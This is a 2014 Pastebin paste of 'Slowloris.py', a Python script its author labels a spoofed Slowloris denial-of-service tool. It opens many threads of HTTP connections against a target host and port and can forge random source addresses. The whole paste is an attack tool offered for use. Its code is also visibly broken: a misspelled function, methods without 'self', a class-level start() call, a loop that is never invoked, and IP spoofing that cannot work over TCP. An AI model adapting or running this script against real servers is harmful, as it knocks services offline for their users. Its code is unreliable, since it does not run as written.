iViiRuS

Slowloris.py

Jun 6th, 2014
466
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # slowloris.py
  2. #                                  
  3. # Spoofed SlowLoris DoS in Python.
  4. # inspired by RSnake's perl tool                      
  5. #            
  6. #  Sheikh Viirus
  7.  
  8. import http.client
  9. from random import randint
  10. import sys
  11. import threading
  12.  
  13. randomize = False
  14. src = None
  15. dst = None
  16. port = None
  17. conn = None
  18.  
  19. class SlowLoris(threading.Thread):
  20.     global randomize, src, dst, port, conn
  21.    
  22.     def __init__(self):
  23.         threading.Thread.__init__(self)
  24.    
  25.     def build_conn(_src, _dst, _port):
  26.         return http.client.HTTPConnection(host = _dst, port = _port, timeout = 10, source_address = _src)
  27.    
  28.     def gen_ip():
  29.         return '%i.%i.%i.%i' % (rand(), rand(), rand(), rand())
  30.        
  31.     def rand():
  32.         return randit(1, 254)
  33.        
  34.     def run():
  35.         conn = build_conn(gen_ip(), dst, port) if randomize else build_conn(src, dst, port)
  36.         conn.request("GET /?" + str(randint(1,9991)) + " HTTP/1.1")
  37.  
  38. def show_help(bin):
  39.     print('usage:\t%s [<src_addr>] <dst_addr> <port>' % bin)
  40.  
  41. def begin():
  42.     while True:
  43.         if threading.activeCount() <= 666:
  44.             SlowLoris.start()
  45.  
  46. if __name__ == '__main__':
  47.     if len(sys.argv) == 4:
  48.         src = sys.argv[1]
  49.         dst = sys.argv[2]
  50.         port = sys.argv[3]
  51.     elif len(sys.argv) == 3:
  52.         randomize = True
  53.         dst = sys.argv[1]
  54.         port = sys.argv[2]
  55.     else:
  56.         show_help(sys.argv[0])
  57.         exit()
RAW Paste Data